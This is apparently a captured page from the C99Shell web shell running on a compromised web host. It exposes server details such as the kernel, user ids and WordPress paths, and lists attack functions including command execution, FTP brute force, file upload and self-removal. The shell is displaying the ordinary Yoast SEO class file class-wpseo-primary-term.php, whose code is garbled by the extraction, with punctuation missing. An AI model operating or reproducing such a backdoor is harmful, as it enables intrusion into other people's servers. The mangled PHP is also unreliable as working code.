!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/inc/   drwxr-xr-x
Free 180.58 GB of 490.84 GB (36.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-wpseo-primary-term.php (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO
 */

/**
 * Represents a post's primary term
 */
class WPSEO_Primary_Term {

    
/**
     * @var string
     */
    
protected $taxonomy_name;

    
/**
     * @var int
     */
    
protected $post_ID;

    
/**
     * The taxonomy this term is part of
     *
     * @param string $taxonomy_name Taxonomy name for the term.
     * @param int    $post_id       Post ID for the term.
     */
    
public function __construct$taxonomy_name$post_id ) {
        
$this->taxonomy_name $taxonomy_name;
        
$this->post_ID $post_id;
    }

    
/**
     * Returns the primary term ID
     *
     * @return int|bool
     */
    
public function get_primary_term() {
        
$primary_term get_post_meta$this->post_IDWPSEO_Meta::$meta_prefix 'primary_' $this->taxonomy_nametrue );

        
$terms $this->get_terms();

        if ( ! 
in_array$primary_termwp_list_pluck$terms'term_id' ) ) ) {
            
$primary_term false;
        }

        
$primary_term = (int) $primary_term;
        return ( 
$primary_term ) ? ( $primary_term ) : false;
    }

    
/**
     * Sets the new primary term ID
     *
     * @param int $new_primary_term New primary term ID.
     */
    
public function set_primary_term$new_primary_term ) {
        
update_post_meta$this->post_IDWPSEO_Meta::$meta_prefix 'primary_' $this->taxonomy_name$new_primary_term );
    }

    
/**
     * Get the terms for the current post ID.
     * When $terms is not an array, set $terms to an array.
     *
     * @return array
     */
    
protected function get_terms() {
        
$terms get_the_terms$this->post_ID$this->taxonomy_name );

        if ( ! 
is_array$terms ) ) {
            
$terms = array();
        }

        return 
$terms;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0066 ]--